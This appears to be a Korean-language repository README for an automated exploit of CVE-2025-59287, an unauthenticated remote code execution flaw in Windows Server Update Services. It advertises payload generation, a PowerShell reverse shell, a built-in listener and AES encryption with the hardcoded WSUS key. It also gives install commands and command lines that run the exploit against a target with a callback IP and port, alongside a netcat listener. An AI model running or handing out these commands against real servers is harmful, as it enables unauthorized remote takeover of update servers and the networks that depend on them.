garvitv14/cve-2025-59287CVE-2025-59287 자동 익스플로잇으로, WSUS의 인증되지 않은 RCE를 대상으로 하며, 페이로드 생성, 리버스 셸 리스너, 하드코딩된 키를 사용한 AES 암호화 기능을 제공합니다.
WSUS(Windows Server Update Services)의 인증되지 않은 원격 코드 실행 취약점을 위한 자동화된 익스플로잇입니다.
✅ 완전 자동화된 페이로드 생성
✅ ysoserial.NET 종속성 자동 다운로드
✅ 내장 리버스 셸 리스너
✅ 크로스 플랫폼 지원 (Windows/Linux/Mac)
✅ WSUS 하드코딩 키를 사용한 AES 암호화
✅ PowerShell 리버스 셸 페이로드
pip install -r requirements.txt
sudo apt install wine-stable
sudo apt install mono-complete
익스플로잇 파일 복제 또는 다운로드
cd CVE-2025-59287-exploit
익스플로잇 실행 (ysoserial.NET 자동 다운로드)
python3 exploit.py -u http://target:8530 -lhost YOUR_IP -lport 4444
python3 exploit.py -u http://192.168.1.100:8530 -lhost 10.10.14.5 -lport 4444
터미널 1: netcat 리스너 시작
nc -lvnp 4444
터미널 2: 내장 리스너 없이 익스플로잇 실행
python3 exploit.py -u http://target:8530 -lhost 10.10.14.5 -lport 4444 --no-listener
